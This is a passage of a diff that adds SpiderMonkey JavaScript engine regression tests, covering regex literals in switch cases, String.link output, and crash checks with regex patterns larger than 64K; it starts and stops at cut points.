71807280738074807580768077807880798080808180828083808480858086808780888089809080918092809380948095809680978098809981008101810281038104810581068107810881098110811181128113811481158116811781188119812081218122812381248125812681278128812981308131813281338134813581368137813881398140814181428143814481458146814781488149815081518152815381548155815681578158815981608161816281638164816581668167816881698170817181728173817481758176817781788179818081818182818381848185818681878188818981908191819281938194819581968197819881998200820182028203820482058206820782088209821082118212821382148215821682178218821982208221822282238224822582268227822882298230823182328233823482358236823782388239824082418242824382448245824682478248824982508251825282538254825582568257825882598260826182628263826482658266826782688269827082718272827382748275827682778278827982808281828282838284828582868287828882898290829182928293829482958296829782988299830083018302830383048305830683078308830983108311831283138314831583168317831883198320832183228323832483258326832783288329833083318332833383348335833683378338833983408341834283438344834583468347834883498350835183528353835483558356835783588359836083618362836383648365836683678368836983708371837283738374837583768377837883798380838183828383838483858386838783888389839083918392839383948395839683978398839984008401840284038404840584068407840884098410841184128413841484158416841784188419842084218422842384248425842684278428842984308431843284338434843584368437843884398440844184428443844484458446844784488449845084518452845384548455845684578458845984608461846284638464846584668467846884698470847184728473847484758476847784788479848084818482848384848485848684878488848984908491849284938494849584968497849884998500850185028503850485058506850785088509851085118512851385148515851685178518851985208521852285238524852585268527852885298530853185328533853485358536853785388539854085418542854385448545854685478548854985508551855285538554855585568557855885598560856185628563856485658566856785688569857085718572857385748575857685778578857985808581858285838584858585868587858885898590859185928593859485958596859785988599860086018602860386048605860686078608860986108611861286138614861586168617861886198620862186228623862486258626862786288629863086318632863386348635863686378638863986408641864286438644864586468647864886498650865186528653865486558656865786588659866086618662866386648665866686678668866986708671867286738674867586768677867886798680868186828683868486858686868786888689869086918692869386948695869686978698869987008701870287038704870587068707870887098710871187128713871487158716871787188719872087218722872387248725872687278728872987308731873287338734873587368737873887398740874187428743874487458746874787488749875087518752875387548755875687578758875987608761876287638764876587668767876887698770877187728773877487758776877787788779878087818782878387848785878687878788878987908791879287938794879587968797879887998800880188028803880488058806880788088809881088118812881388148815881688178818881988208821882288238824882588268827882888298830883188328833883488358836883788388839884088418842884388448845884688478848884988508851885288538854885588568857885888598860886188628863886488658866886788688869887088718872887388748875887688778878887988808881888288838884888588868887888888898890889188928893889488958896889788988899890089018902890389048905890689078908890989108911891289138914891589168917891889198920892189228923892489258926892789288929893089318932893389348935893689378938893989408941894289438944894589468947894889498950895189528953895489558956895789588959896089618962896389648965896689678968896989708971897289738974897589768977897889798980898189828983898489858986898789888989899089918992899389948995899689978998899990009001900290039004900590069007900890099010901190129013901490159016901790189019902090219022902390249025902690279028902990309031903290339034903590369037903890399040904190429043904490459046904790489049905090519052905390549055905690579058905990609061906290639064906590669067906890699070907190729073907490759076907790789079908090819082908390849085908690879088908990909091909290939094909590969097909890999100910191029103910491059106910791089109911091119112911391149115911691179118911991209121912291239124912591269127912891299130913191329133913491359136913791389139914091419142914391449145914691479148914991509151915291539154915591569157915891599160916191629163916491659166916791689169917091719172917391749175917691779178917991809181918291839184918591869187918891899190919191929193919491959196919791989199920092019202920392049205920692079208920992109211921292139214921592169217921892199220922192229223922492259226922792289229923092319232923392349235923692379238923992409241924292439244924592469247924892499250925192529253925492559256925792589259926092619262926392649265926692679268926992709271927292739274927592769277927892799280928192829283928492859286928792889289929092919292929392949295929692979298929993009301930293039304930593069307930893099310931193129313931493159316931793189319932093219322932393249325932693279328932993309331933293339334933593369337933893399340934193429343934493459346934793489349935093519352935393549355935693579358935993609361936293639364936593669367936893699370937193729373937493759376937793789379938093819382938393849385938693879388938993909391939293939394939593969397939893999400940194029403940494059406940794089409941094119412941394149415941694179418941994209421942294239424942594269427942894299430943194329433943494359436943794389439944094419442944394449445944694479448944994509451945294539454945594569457945894599460946194629463946494659466946794689469947094719472947394749475947694779478947994809481948294839484948594869487948894899490949194929493949494959496949794989499950095019502950395049505950695079508950995109511951295139514951595169517951895199520952195229523952495259526952795289529953095319532953395349535953695379538953995409541954295439544954595469547954895499550955195529553955495559556955795589559956095619562956395649565956695679568956995709571957295739574957595769577957895799580958195829583958495859586958795889589959095919592959395949595959695979598959996009601960296039604960596069607960896099610961196129613961496159616961796189619962096219622962396249625962696279628962996309631963296339634963596369637963896399640964196429643964496459646964796489649965096519652965396549655965696579658965996609661966296639664966596669667966896699670967196729673967496759676967796789679968096819682968396849685968696879688968996909691969296939694969596969697969896999700970197029703970497059706970797089709971097119712971397149715971697179718971997209721972297239724972597269727972897299730973197329733973497359736973797389739974097419742974397449745974697479748974997509751975297539754975597569757975897599760976197629763976497659766976797689769977097719772977397749775977697779778977997809781978297839784978597869787978897899790979197929793979497959796979797989799980098019802980398049805980698079808980998109811981298139814981598169817981898199820982198229823982498259826982798289829983098319832983398349835983698379838983998409841984298439844984598469847984898499850985198529853985498559856985798589859986098619862986398649865986698679868986998709871987298739874987598769877987898799880988198829883988498859886988798889889989098919892989398949895989698979898989999009901990299039904990599069907990899099910991199129913991499159916991799189919992099219922992399249925992699279928992999309931993299339934993599369937993899399940994199429943994499459946994799489949995099519952995399549955995699579958995999609961996299639964996599669967996899699970997199729973997499759976997799789979998099819982998399849985998699879988998999909991999299939994999599969997999899991000010001100021000310004100051000610007100081000910010100111001210013100141001510016100171001810019100201002110022100231002410025100261002710028100291003010031100321003310034100351003610037100381003910040100411004210043100441004510046100471004810049100501005110052100531005410055100561005710058100591006010061100621006310064100651006610067100681006910070100711007210073100741007510076100771007810079100801008110082100831008410085100861008710088100891009010091100921009310094100951009610097100981009910100101011010210103101041010510106101071010810109101101011110112101131011410115101161011710118101191012010121101221012310124101251012610127101281012910130101311013210133101341013510136101371013810139101401014110142101431014410145101461014710148101491015010151101521015310154101551015610157101581015910160101611016210163101641016510166101671016810169101701017110172101731017410175101761017710178101791018010181101821018310184101851018610187101881018910190101911019210193101941019510196101971019810199102001020110202102031020410205102061020710208102091021010211102121021310214102151021610217102181021910220102211022210223102241022510226102271022810229102301023110232102331023410235102361023710238102391024010241102421024310244102451024610247102481024910250102511025210253102541025510256102571025810259102601026110262102631026410265102661026710268102691027010271102721027310274102751027610277102781027910280102811028210283102841028510286102871028810289102901029110292102931029410295102961029710298102991030010301103021030310304103051030610307103081030910310103111031210313103141031510316103171031810319103201032110322103231032410325103261032710328103291033010331103321033310334103351033610337103381033910340103411034210343103441034510346103471034810349103501035110352103531035410355103561035710358103591036010361103621036310364103651036610367103681036910370103711037210373103741037510376103771037810379103801038110382103831038410385103861038710388103891039010391103921039310394103951039610397103981039910400104011040210403104041040510406104071040810409104101041110412104131041410415104161041710418104191042010421104221042310424104251042610427104281042910430104311043210433104341043510436104371043810439104401044110442104431044410445104461044710448104491045010451104521045310454104551045610457104581045910460104611046210463104641046510466104671046810469104701047110472104731047410475104761047710478104791048010481104821048310484104851048610487104881048910490104911049210493104941049510496104971049810499105001050110502105031050410505105061050710508105091051010511105121051310514105151051610517105181051910520105211052210523105241052510526105271052810529105301053110532105331053410535105361053710538105391054010541105421054310544105451054610547105481054910550105511055210553105541055510556105571055810559105601056110562105631056410565105661056710568105691057010571105721057310574105751057610577105781057910580105811058210583105841058510586105871058810589105901059110592105931059410595105961059710598105991060010601106021060310604106051060610607106081060910610106111061210613106141061510616106171061810619106201062110622106231062410625106261062710628106291063010631106321063310634106351063610637106381063910640106411064210643106441064510646106471064810649106501065110652106531065410655106561065710658106591066010661106621066310664106651066610667106681066910670106711067210673106741067510676106771067810679106801068110682106831068410685106861068710688106891069010691106921069310694106951069610697106981069910700107011070210703107041070510706107071070810709107101071110712107131071410715107161071710718107191072010721107221072310724107251072610727107281072910730107311073210733107341073510736107371073810739107401074110742107431074410745107461074710748107491075010751107521075310754107551075610757107581075910760107611076210763107641076510766107671076810769107701077110772107731077410775107761077710778107791078010781107821078310784107851078610787107881078910790107911079210793107941079510796107971079810799108001080110802108031080410805108061080710808108091081010811108121081310814108151081610817108181081910820108211082210823108241082510826108271082810829108301083110832108331083410835108361083710838108391084010841108421084310844108451084610847108481084910850108511085210853108541085510856108571085810859108601086110862108631086410865108661086710868108691087010871108721087310874108751087610877108781087910880108811088210883108841088510886108871088810889108901089110892108931089410895108961089710898108991090010901109021090310904109051090610907109081090910910109111091210913109141091510916109171091810919109201092110922109231092410925109261092710928109291093010931109321093310934109351093610937109381093910940109411094210943109441094510946109471094810949109501095110952109531095410955109561095710958109591096010961109621096310964109651096610967109681096910970109711097210973109741097510976109771097810979109801098110982109831098410985109861098710988109891099010991109921099310994109951099610997109981099911000110011100211003110041100511006110071100811009110101101111012110131101411015110161101711018110191102011021110221102311024110251102611027110281102911030110311103211033110341103511036110371103811039110401104111042110431104411045110461104711048110491105011051110521105311054110551105611057110581105911060110611106211063110641106511066110671106811069110701107111072110731107411075110761107711078110791108011081110821108311084110851108611087110881108911090110911109211093110941109511096110971109811099111001110111102111031110411105111061110711108111091111011111111121111311114111151111611117111181111911120111211112211123111241112511126111271112811129111301113111132111331113411135111361113711138111391114011141111421114311144111451114611147111481114911150111511115211153111541115511156111571115811159111601116111162111631116411165111661116711168111691117011171111721117311174111751117611177111781117911180111811118211183111841118511186111871118811189111901119111192111931119411195111961119711198111991120011201112021120311204112051120611207112081120911210112111121211213112141121511216112171121811219112201122111222112231122411225112261122711228112291123011231112321123311234112351123611237112381123911240112411124211243112441124511246112471124811249112501125111252112531125411255112561125711258112591126011261112621126311264112651126611267112681126911270112711127211273112741127511276112771127811279112801128111282112831128411285112861128711288112891129011291112921129311294112951129611297112981129911300113011130211303113041130511306113071130811309113101131111312113131131411315113161131711318113191132011321113221132311324113251132611327113281132911330113311133211333113341133511336113371133811339113401134111342113431134411345113461134711348113491135011351113521135311354113551135611357113581135911360113611136211363113641136511366113671136811369113701137111372113731137411375113761137711378113791138011381113821138311384113851138611387113881138911390113911139211393113941139511396113971139811399114001140111402114031140411405114061140711408114091141011411114121141311414114151141611417114181141911420114211142211423114241142511426114271142811429114301143111432114331143411435114361143711438114391144011441114421144311444114451144611447114481144911450114511145211453114541145511456114571145811459114601146111462114631146411465114661146711468114691147011471114721147311474114751147611477114781147911480114811148211483114841148511486114871148811489114901149111492114931149411495114961149711498114991150011501115021150311504115051150611507115081150911510115111151211513115141151511516115171151811519115201152111522115231152411525115261152711528115291153011531115321153311534115351153611537115381153911540115411154211543115441154511546115471154811549115501155111552115531155411555115561155711558115591156011561115621156311564115651156611567115681156911570115711157211573115741157511576115771157811579115801158111582115831158411585115861158711588115891159011591115921159311594115951159611597115981159911600116011160211603116041160511606116071160811609116101161111612116131161411615116161161711618116191162011621116221162311624116251162611627116281162911630116311163211633116341163511636116371163811639116401164111642116431164411645116461164711648116491165011651116521165311654116551165611657116581165911660116611166211663116641166511666116671166811669116701167111672116731167411675116761167711678116791168011681116821168311684116851168611687116881168911690116911169211693116941169511696116971169811699117001170111702117031170411705117061170711708117091171011711117121171311714117151171611717117181171911720117211172211723117241172511726117271172811729117301173111732117331173411735117361173711738117391174011741117421174311744117451174611747117481174911750117511175211753117541175511756117571175811759117601176111762117631176411765117661176711768117691177011771117721177311774117751177611777117781177911780117811178211783117841178511786117871178811789117901179111792117931179411795117961179711798117991180011801118021180311804118051180611807118081180911810118111181211813118141181511816118171181811819118201182111822118231182411825118261182711828118291183011831118321183311834118351183611837118381183911840118411184211843118441184511846118471184811849118501185111852118531185411855118561185711858118591186011861118621186311864118651186611867118681186911870118711187211873118741187511876118771187811879118801188111882118831188411885118861188711888118891189011891118921189311894118951189611897118981189911900119011190211903119041190511906119071190811909119101191111912119131191411915119161191711918119191192011921119221192311924119251192611927119281192911930119311193211933119341193511936119371193811939119401194111942119431194411945119461194711948119491195011951119521195311954119551195611957119581195911960119611196211963119641196511966119671196811969119701197111972119731197411975119761197711978119791198011981119821198311984119851198611987119881198911990119911199211993119941199511996119971199811999120001200112002120031200412005120061200712008120091201012011120121201312014120151201612017120181201912020120211202212023120241202512026120271202812029120301203112032120331203412035120361203712038120391204012041120421204312044120451204612047120481204912050120511205212053120541205512056120571205812059120601206112062120631206412065120661206712068120691207012071120721207312074120751207612077120781207912080120811208212083120841208512086120871208812089120901209112092120931209412095120961209712098120991210012101121021210312104121051210612107121081210912110121111211212113121141211512116121171211812119121201212112122121231212412125121261212712128121291213012131121321213312134121351213612137121381213912140121411214212143121441214512146121471214812149121501215112152121531215412155121561215712158121591216012161121621216312164121651216612167121681216912170121711217212173121741217512176121771217812179121801218112182121831218412185121861218712188121891219012191121921219312194121951219612197121981219912200122011220212203122041220512206122071220812209122101221112212122131221412215122161221712218122191222012221122221222312224122251222612227122281222912230122311223212233122341223512236122371223812239122401224112242122431224412245122461224712248122491225012251122521225312254122551225612257122581225912260122611226212263122641226512266122671226812269122701227112272122731227412275122761227712278122791228012281122821228312284122851228612287122881228912290122911229212293122941229512296122971229812299123001230112302123031230412305123061230712308123091231012311123121231312314123151231612317123181231912320123211232212323123241232512326123271232812329123301233112332123331233412335123361233712338123391234012341123421234312344123451234612347123481234912350123511235212353123541235512356123571235812359123601236112362123631236412365123661236712368123691237012371123721237312374123751237612377123781237912380123811238212383123841238512386123871238812389123901239112392123931239412395123961239712398123991240012401124021240312404124051240612407124081240912410124111241212413124141241512416124171241812419124201242112422124231242412425124261242712428124291243012431124321243312434124351243612437124381243912440124411244212443124441244512446124471244812449124501245112452124531245412455124561245712458124591246012461124621246312464124651246612467124681246912470124711247212473124741247512476124771247812479124801248112482124831248412485124861248712488124891249012491124921249312494124951249612497124981249912500125011250212503125041250512506125071250812509125101251112512125131251412515125161251712518125191252012521125221252312524125251252612527125281252912530125311253212533125341253512536125371253812539125401254112542125431254412545125461254712548125491255012551125521255312554125551255612557125581255912560125611256212563125641256512566125671256812569125701257112572125731257412575125761257712578125791258012581125821258312584125851258612587125881258912590125911259212593125941259512596125971259812599126001260112602126031260412605126061260712608126091261012611126121261312614126151261612617126181261912620126211262212623126241262512626126271262812629126301263112632126331263412635126361263712638126391264012641126421264312644126451264612647126481264912650126511265212653126541265512656126571265812659126601266112662126631266412665126661266712668126691267012671126721267312674126751267612677126781267912680126811268212683126841268512686126871268812689126901269112692126931269412695126961269712698126991270012701127021270312704127051270612707127081270912710127111271212713127141271512716127171271812719127201272112722127231272412725127261272712728127291273012731127321273312734127351273612737127381273912740127411274212743127441274512746127471274812749127501275112752127531275412755127561275712758127591276012761127621276312764127651276612767127681276912770127711277212773127741277512776127771277812779127801278112782127831278412785127861278712788127891279012791127921279312794127951279612797127981279912800128011280212803128041280512806128071280812809128101281112812128131281412815128161281712818128191282012821128221282312824128251282612827128281282912830128311283212833128341283512836128371283812839128401284112842128431284412845128461284712848128491285012851128521285312854128551285612857128581285912860128611286212863128641286512866128671286812869128701287112872128731287412875128761287712878128791288012881128821288312884128851288612887128881288912890128911289212893128941289512896128971289812899129001290112902129031290412905129061290712908129091291012911129121291312914129151291612917129181291912920129211292212923129241292512926129271292812929129301293112932129331293412935129361293712938129391294012941129421294312944129451294612947129481294912950129511295212953129541295512956129571295812959129601296112962129631296412965129661296712968129691297012971129721297312974129751297612977129781297912980129811298212983129841298512986129871298812989129901299112992129931299412995129961299712998129991300013001130021300313004130051300613007130081300913010130111301213013130141301513016130171301813019130201302113022130231302413025130261302713028130291303013031130321303313034130351303613037130381303913040130411304213043130441304513046130471304813049130501305113052130531305413055130561305713058130591306013061130621306313064130651306613067130681306913070130711307213073130741307513076130771307813079130801308113082130831308413085130861308713088130891309013091130921309313094130951309613097130981309913100131011310213103131041310513106131071310813109131101311113112131131311413115131161311713118131191312013121131221312313124131251312613127131281312913130131311313213133131341313513136131371313813139131401314113142131431314413145131461314713148131491315013151131521315313154131551315613157131581315913160131611316213163131641316513166131671316813169131701317113172131731317413175131761317713178131791318013181131821318313184131851318613187131881318913190131911319213193131941319513196131971319813199132001320113202132031320413205132061320713208132091321013211132121321313214132151321613217132181321913220132211322213223132241322513226132271322813229132301323113232132331323413235132361323713238132391324013241132421324313244132451324613247132481324913250132511325213253132541325513256132571325813259132601326113262132631326413265132661326713268132691327013271132721327313274132751327613277132781327913280132811328213283132841328513286132871328813289132901329113292132931329413295132961329713298132991330013301133021330313304133051330613307133081330913310133111331213313133141331513316133171331813319133201332113322133231332413325133261332713328133291333013331133321333313334133351333613337133381333913340133411334213343133441334513346133471334813349133501335113352133531335413355133561335713358133591336013361133621336313364133651336613367133681336913370133711337213373133741337513376133771337813379133801338113382133831338413385133861338713388133891339013391133921339313394133951339613397133981339913400134011340213403134041340513406134071340813409134101341113412134131341413415134161341713418134191342013421134221342313424134251342613427134281342913430134311343213433134341343513436134371343813439134401344113442134431344413445134461344713448134491345013451134521345313454134551345613457134581345913460134611346213463134641346513466134671346813469134701347113472134731347413475134761347713478134791348013481134821348313484134851348613487134881348913490134911349213493134941349513496134971349813499135001350113502135031350413505135061350713508135091351013511135121351313514135151351613517135181351913520135211352213523135241352513526135271352813529135301353113532135331353413535135361353713538135391354013541135421354313544135451354613547135481354913550135511355213553135541355513556135571355813559135601356113562135631356413565135661356713568135691357013571135721357313574135751357613577135781357913580135811358213583135841358513586135871358813589135901359113592135931359413595135961359713598135991360013601136021360313604136051360613607136081360913610136111361213613136141361513616136171361813619136201362113622136231362413625136261362713628136291363013631136321363313634136351363613637136381363913640136411364213643136441364513646136471364813649136501365113652136531365413655136561365713658136591366013661136621366313664136651366613667136681366913670136711367213673136741367513676136771367813679136801368113682136831368413685136861368713688136891369013691136921369313694136951369613697136981369913700137011370213703137041370513706137071370813709137101371113712137131371413715137161371713718137191372013721137221372313724137251372613727137281372913730137311373213733137341373513736137371373813739137401374113742137431374413745137461374713748137491375013751137521375313754137551375613757137581375913760137611376213763137641376513766137671376813769137701377113772137731377413775137761377713778137791378013781137821378313784137851378613787137881378913790137911379213793137941379513796137971379813799138001380113802138031380413805138061380713808138091381013811138121381313814138151381613817138181381913820138211382213823138241382513826138271382813829138301383113832138331383413835138361383713838138391384013841138421384313844138451384613847138481384913850138511385213853138541385513856138571385813859138601386113862138631386413865138661386713868138691387013871138721387313874138751387613877138781387913880138811388213883138841388513886138871388813889138901389113892138931389413895138961389713898138991390013901139021390313904139051390613907139081390913910139111391213913139141391513916139171391813919139201392113922139231392413925139261392713928139291393013931139321393313934139351393613937139381393913940139411394213943139441394513946139471394813949139501395113952139531395413955139561395713958139591396013961139621396313964139651396613967139681396913970139711397213973139741397513976139771397813979139801398113982139831398413985139861398713988139891399013991139921399313994139951399613997139981399914000140011400214003140041400514006140071400814009140101401114012140131401414015140161401714018140191402014021140221402314024140251402614027140281402914030140311403214033140341403514036140371403814039140401404114042140431404414045140461404714048140491405014051140521405314054140551405614057140581405914060140611406214063140641406514066140671406814069140701407114072140731407414075140761407714078140791408014081140821408314084140851408614087140881408914090140911409214093140941409514096140971409814099141001410114102141031410414105141061410714108141091411014111141121411314114141151411614117141181411914120141211412214123141241412514126141271412814129141301413114132141331413414135141361413714138141391414014141141421414314144141451414614147141481414914150141511415214153141541415514156141571415814159141601416114162141631416414165141661416714168141691417014171141721417314174141751417614177141781417914180141811418214183141841418514186141871418814189141901419114192141931419414195141961419714198141991420014201142021420314204142051420614207142081420914210142111421214213142141421514216142171421814219142201422114222142231422414225142261422714228142291423014231142321423314234142351423614237142381423914240142411424214243142441424514246142471424814249142501425114252142531425414255142561425714258142591426014261142621426314264142651426614267142681426914270142711427214273142741427514276142771427814279142801428114282142831428414285142861428714288142891429014291142921429314294142951429614297142981429914300143011430214303143041430514306143071430814309143101431114312143131431414315143161431714318143191432014321143221432314324143251432614327143281432914330143311433214333143341433514336143371433814339143401434114342143431434414345143461434714348143491435014351143521435314354143551435614357143581435914360143611436214363143641436514366143671436814369143701437114372143731437414375143761437714378143791438014381143821438314384143851438614387143881438914390143911439214393143941439514396143971439814399144001440114402144031440414405144061440714408144091441014411144121441314414144151441614417144181441914420144211442214423144241442514426144271442814429144301443114432144331443414435144361443714438144391444014441144421444314444144451444614447144481444914450144511445214453144541445514456144571445814459144601446114462144631446414465144661446714468144691447014471144721447314474144751447614477144781447914480144811448214483144841448514486144871448814489144901449114492144931449414495144961449714498144991450014501145021450314504145051450614507145081450914510145111451214513145141451514516145171451814519145201452114522145231452414525145261452714528145291453014531145321453314534145351453614537145381453914540145411454214543145441454514546145471454814549145501455114552145531455414555145561455714558145591456014561145621456314564145651456614567145681456914570145711457214573145741457514576145771457814579145801458114582145831458414585145861458714588145891459014591145921459314594145951459614597145981459914600146011460214603146041460514606146071460814609146101461114612146131461414615146161461714618146191462014621146221462314624146251462614627146281462914630146311463214633146341463514636146371463814639146401464114642146431464414645146461464714648146491465014651146521465314654146551465614657146581465914660146611466214663146641466514666146671466814669146701467114672146731467414675146761467714678146791468014681146821468314684146851468614687146881468914690146911469214693146941469514696146971469814699147001470114702147031470414705147061470714708147091471014711147121471314714147151471614717147181471914720147211472214723147241472514726147271472814729147301473114732147331473414735147361473714738147391474014741147421474314744147451474614747147481474914750147511475214753147541475514756147571475814759147601476114762147631476414765147661476714768147691477014771147721477314774147751477614777147781477914780147811478214783147841478514786147871478814789147901479114792147931479414795147961479714798147991480014801148021480314804148051480614807148081480914810148111481214813148141481514816148171481814819148201482114822148231482414825148261482714828148291483014831148321483314834148351483614837148381483914840148411484214843148441484514846148471484814849148501485114852148531485414855148561485714858148591486014861148621486314864148651486614867148681486914870148711487214873148741487514876148771487814879148801488114882148831488414885148861488714888148891489014891148921489314894148951489614897148981489914900149011490214903149041490514906149071490814909149101491114912149131491414915149161491714918149191492014921149221492314924149251492614927149281492914930149311493214933149341493514936149371493814939149401494114942149431494414945149461494714948149491495014951149521495314954149551495614957149581495914960149611496214963149641496514966149671496814969149701497114972149731497414975149761497714978149791498014981149821498314984149851498614987149881498914990149911499214993149941499514996149971499814999150001500115002150031500415005150061500715008150091501015011150121501315014150151501615017150181501915020150211502215023150241502515026150271502815029150301503115032150331503415035150361503715038150391504015041150421504315044150451504615047150481504915050150511505215053150541505515056150571505815059150601506115062150631506415065150661506715068150691507015071150721507315074150751507615077150781507915080150811508215083150841508515086150871508815089150901509115092150931509415095150961509715098150991510015101151021510315104151051510615107151081510915110151111511215113151141511515116151171511815119151201512115122151231512415125151261512715128151291513015131151321513315134151351513615137151381513915140151411514215143151441514515146151471514815149151501515115152151531515415155151561515715158151591516015161151621516315164151651516615167151681516915170151711517215173151741517515176151771517815179151801518115182151831518415185151861518715188151891519015191151921519315194151951519615197151981519915200152011520215203152041520515206152071520815209152101521115212152131521415215152161521715218152191522015221152221522315224152251522615227152281522915230152311523215233152341523515236152371523815239152401524115242152431524415245152461524715248152491525015251152521525315254152551525615257152581525915260152611526215263152641526515266152671526815269152701527115272152731527415275152761527715278152791528015281152821528315284152851528615287152881528915290152911529215293152941529515296152971529815299153001530115302153031530415305153061530715308153091531015311153121531315314153151531615317153181531915320153211532215323153241532515326153271532815329a';
+
+expect = true;
+actual = re.test(s);
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-275378.js b/js/src/tests/non262/regress/regress-275378.js
new file mode 100644
index 0000000000..3c69998040
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-275378.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by Martin Zvieger <martin.zvieger@sphinx.at>
+// if fails, will fail to run in browser due to syntax error
+var BUGNUMBER = 275378;
+var summary = 'Literal RegExp in case block should not give syntax error';
+var actual = '';
+var expect = '';
+
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var tmpString= "XYZ";
+// works
+/ABC/.test(tmpString);
+var tmpVal= 1;
+if (tmpVal == 1)
+{
+ // works
+ /ABC/.test(tmpString);
+}
+switch(tmpVal)
+{
+case 1:
+{
+ // works
+ /ABC/.test(tmpString);
+}
+break;
+}
+switch(tmpVal)
+{
+case 1:
+ // fails with syntax error
+ /ABC/.test(tmpString);
+ break;
+}
+
+expect = actual = 'no error';
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-276103.js b/js/src/tests/non262/regress/regress-276103.js
new file mode 100644
index 0000000000..1242b5964c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-276103.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by Gianugo Rabellino <gianugo@apache.org>
+var BUGNUMBER = 276103;
+var summary = 'link foo and null bytes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var testString = "test|string";
+var idx = testString.indexOf("|");
+var link = testString.substring(0, idx);
+var desc = testString.substring(idx + 1);
+
+expect = '<a href="test">string</a>';
+actual = desc.link(link);
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-278873.js b/js/src/tests/non262/regress/regress-278873.js
new file mode 100644
index 0000000000..74215a2cc2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-278873.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase by Philipp Vogt <vogge@vlbg.dhs.org>
+var BUGNUMBER = 278873;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function SwitchTest( input) {
+ switch ( input ) {
+ default: break;
+ case A: break;
+ }
+}
+
+printStatus(SwitchTest + '');
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-280769-1.js b/js/src/tests/non262/regress/regress-280769-1.js
new file mode 100644
index 0000000000..d17e0997d1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-1.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not crash on overflow of 64K boundary of [] offset in regexp search string ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' (new RegExp("zzz...[AB]").exec("zzz...A") ';
+
+var N = 100 * 1000; // N should be more then 64K
+var a = new Array(N + 1);
+var prefix = a.join("z"); // prefix is sequence of N "z", zzz...zzz
+var str = prefix+"[AB]"; // str is zzz...zzz[AB]
+var re = new RegExp(str);
+try {
+ re.exec(prefix+"A");
+ reportCompare(expect, actual, status);
+} catch (e) {
+ reportCompare(true, e instanceof Error, actual, status);
+}
diff --git a/js/src/tests/non262/regress/regress-280769-2.js b/js/src/tests/non262/regress/regress-280769-2.js
new file mode 100644
index 0000000000..78855a1433
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-2.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(Android) silentfail
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not overflow 64K boundary in treeDepth';
+var actual = 'No Crash';
+var expect = /No Crash|InternalError: allocation size overflow/;
+var status;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+status = summary + ' ' + inSection(1) + ' (new RegExp("0|...|99999") ';
+
+try
+{
+ var N = 100 * 1000;
+ var a = new Array(N);
+ for (var i = 0; i != N; ++i) {
+ a[i] = i;
+ }
+ var str = a.join('|'); // str is 0|1|2|3|...|<printed value of N -1>
+ var re = new RegExp(str);
+ re.exec(N - 1);
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+print('Done: ' + actual);
+
+reportMatch(expect, actual, summary);
+
+
+
diff --git a/js/src/tests/non262/regress/regress-280769-3.js b/js/src/tests/non262/regress/regress-280769-3.js
new file mode 100644
index 0000000000..23d5c2e51b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-280769-3.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 280769;
+var summary = 'Do not crash on overflow of 64K boundary in number of classes in regexp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 100 * 1000;
+
+status = summary + ' ' + inSection(3) + ' (new RegExp("[0][1]...[99999]").exec("") ';
+
+var a = new Array(N);
+
+for (var i = 0; i != N; ++i) {
+ a[i] = i;
+}
+
+var str = '['+a.join('][')+']'; // str is [0][1][2]...[<PRINTED N-1>]
+
+try
+{
+ var re = new RegExp(str);
+}
+catch(e)
+{
+ printStatus('Exception creating RegExp: ' + e);
+}
+
+try
+{
